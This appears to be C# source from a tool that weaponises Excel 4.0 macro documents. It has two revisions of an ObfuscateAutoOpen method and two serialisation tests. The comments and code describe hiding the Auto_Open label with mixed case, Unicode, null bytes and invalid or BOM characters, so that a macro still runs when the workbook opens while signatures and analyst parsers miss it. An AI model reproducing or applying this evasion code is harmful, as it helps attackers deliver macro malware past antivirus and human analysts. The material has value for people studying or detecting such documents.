/// <summary> /// We use a few tricks here to obfuscate the Auto_Open Lbl BIFF records. /// 1) By default the Lbl Auto_Open record is marked as fBuiltin = true with a single byte 0x01 to represent AUTO_OPEN /// We avoid this easily sig-able series of bytes by using a string instead - which Excel will also process. /// We can use labels like AuTo_OpEn and Excel will still use it - some analyst tools are case sensitive and don't /// detect this. /// 2) The string we use for the Lbl can be Unicode, which will further break signatures expecting an ASCII Auto_Open string /// 3) We can inject null bytes into the label name and Excel will ignore them when hunting for Auto_Open labels. /// The name manager will only display up to the first null byte - and most excel label parsers will also break on this. /// 4) The Unicode BOM character (0xFEFF/0xFFEF) is also disregarded by Excel. We can use this to break detections that will drop /// nulls and look for Auto_Open without being case sensitive. By injecting this with nulls we break most detection. /// </summary> /// <returns></returns> public WorkbookStream ObfuscateAutoOpen(string localizedLabel) { Random randomUnicodeChar = new Random(); string[] badUnicodeChars = { "\ufefe", "\uffff", "\ufeff", "\ufffe", "\uffef", "\ufff0", "\ufff1", "\ufff6", "\ufefd", "\u0000", "\udddd" }; int indexLabel = 0; string unicodeLabelWithBadChars = ""; List <Lbl> labels = GetAllRecordsByType <Lbl>(); Lbl autoOpenLbl = labels.First(l => l.fBuiltin && l.Name.Value.Equals("\u0001") || l.Name.Value.ToLower().StartsWith(localizedLabel)); Lbl replaceLabelStringLbl = ((BiffRecord)autoOpenLbl.Clone()).AsRecordType <Lbl>(); //Characters that work //fefe, ffff, feff, fffe, ffef, fff0, fff1, fff6, fefd, 0000, dddd //Pretty much any character that is invalid unicode - though \ucccc doesn't seem to work - need better criteria for parsing foreach (char localizedLabelChar in localizedLabel) { indexLabel = randomUnicodeChar.Next(localizedLabel.Length); unicodeLabelWithBadChars += badUnicodeChars[indexLabel] + localizedLabelChar; } replaceLabelStringLbl.SetName(new XLUnicodeStringNoCch(unicodeLabelWithBadChars, true)); replaceLabelStringLbl.fBuiltin = false; // Hidden removes from the label manager entirely, but doesn't seem to work if fBuiltin is false // replaceLabelStringLbl.fHidden = true; WorkbookStream obfuscatedStream = ReplaceRecord(autoOpenLbl, replaceLabelStringLbl); obfuscatedStream = obfuscatedStream.FixBoundSheetOffsets(); return(obfuscatedStream); }
public void TestLabelSerialization() { WorkbookStream macroWorkbookStream = TestHelpers.GetMultiSheetMacroBytes(); List <SupBook> supBooks = macroWorkbookStream.GetAllRecordsByType <SupBook>(); List <Lbl> labels = macroWorkbookStream.GetAllRecordsByType <Lbl>(); Lbl lastLabel = labels.Last(); Lbl cloneLabel = ((BiffRecord)lastLabel.Clone()).AsRecordType <Lbl>(); byte[] labelBytes = lastLabel.GetBytes(); byte[] cloneBytes = cloneLabel.GetBytes(); Assert.AreEqual(labelBytes, cloneBytes); }
/// <summary> /// We use a few tricks here to obfuscate the Auto_Open Lbl BIFF records. /// 1) By default the Lbl Auto_Open record is marked as fBuiltin = true with a single byte 0x01 to represent AUTO_OPEN /// We avoid this easily sig-able series of bytes by using a string instead - which Excel will also process. /// We can use labels like AuTo_OpEn and Excel will still use it - some analyst tools are case sensitive and don't /// detect this. /// 2) The string we use for the Lbl can be Unicode, which will further break signatures expecting an ASCII Auto_Open string /// 3) We can inject null bytes into the label name and Excel will ignore them when hunting for Auto_Open labels. /// The name manager will only display up to the first null byte - and most excel label parsers will also break on this. /// 4) The Unicode BOM character (0xFEFF/0xFFEF) is also disregarded by Excel. We can use this to break detections that will drop /// nulls and look for Auto_Open without being case sensitive. By injecting this with nulls we break most detection. /// </summary> /// <returns></returns> public WorkbookStream ObfuscateAutoOpen() { List <Lbl> labels = GetAllRecordsByType <Lbl>(); Lbl autoOpenLbl = labels.First(l => l.fBuiltin && l.Name.Value.Equals("\u0001") || l.Name.Value.ToLower().StartsWith("auto_open")); Lbl replaceLabelStringLbl = ((BiffRecord)autoOpenLbl.Clone()).AsRecordType <Lbl>(); //Characters that work //fefe, ffff, feff, fffe, ffef, fff0, fff1, fff6, fefd, 0000, dddd //Pretty much any character that is invalid unicode - though \ucccc doesn't seem to work - need better criteria for parsing //TODO [Stealth] Randomize which invalid unicode characters are injected into this string replaceLabelStringLbl.SetName(new XLUnicodeStringNoCch("\u0000A\uffffu\u0000\ufefft\ufffeo\uffef_\ufff0O\ufff1p\ufff6e\ufefdn\udddd", true)); replaceLabelStringLbl.fBuiltin = false; // Hidden removes from the label manager entirely, but doesn't seem to work if fBuiltin is false // replaceLabelStringLbl.fHidden = true; WorkbookStream obfuscatedStream = ReplaceRecord(autoOpenLbl, replaceLabelStringLbl); obfuscatedStream = obfuscatedStream.FixBoundSheetOffsets(); return(obfuscatedStream); }
public void TestChangeLabel() { WorkbookStream macroWorkbookStream = new WorkbookStream(TestHelpers.GetMacroTestBytes()); List <Lbl> labels = macroWorkbookStream.GetAllRecordsByType <Lbl>(); Lbl autoOpenLbl = labels.First(l => l.fBuiltin && l.Name.Value.Equals("\u0001")); Lbl replaceLabelStringLbl = ((BiffRecord)autoOpenLbl.Clone()).AsRecordType <Lbl>(); replaceLabelStringLbl.SetName(new XLUnicodeStringNoCch("Auto_Open", true)); replaceLabelStringLbl.fBuiltin = false; var cloneLabel = ((BiffRecord)replaceLabelStringLbl.Clone()).AsRecordType <Lbl>(); var cBytes = cloneLabel.GetBytes(); var rLabelBytes = replaceLabelStringLbl.GetBytes(); Assert.AreEqual(rLabelBytes, cBytes); macroWorkbookStream = macroWorkbookStream.ReplaceRecord(autoOpenLbl, replaceLabelStringLbl); macroWorkbookStream = macroWorkbookStream.FixBoundSheetOffsets(); ExcelDocWriter writer = new ExcelDocWriter(); writer.WriteDocument(TestHelpers.AssemblyDirectory + Path.DirectorySeparatorChar + "changedLabel.xls", macroWorkbookStream.ToBytes()); }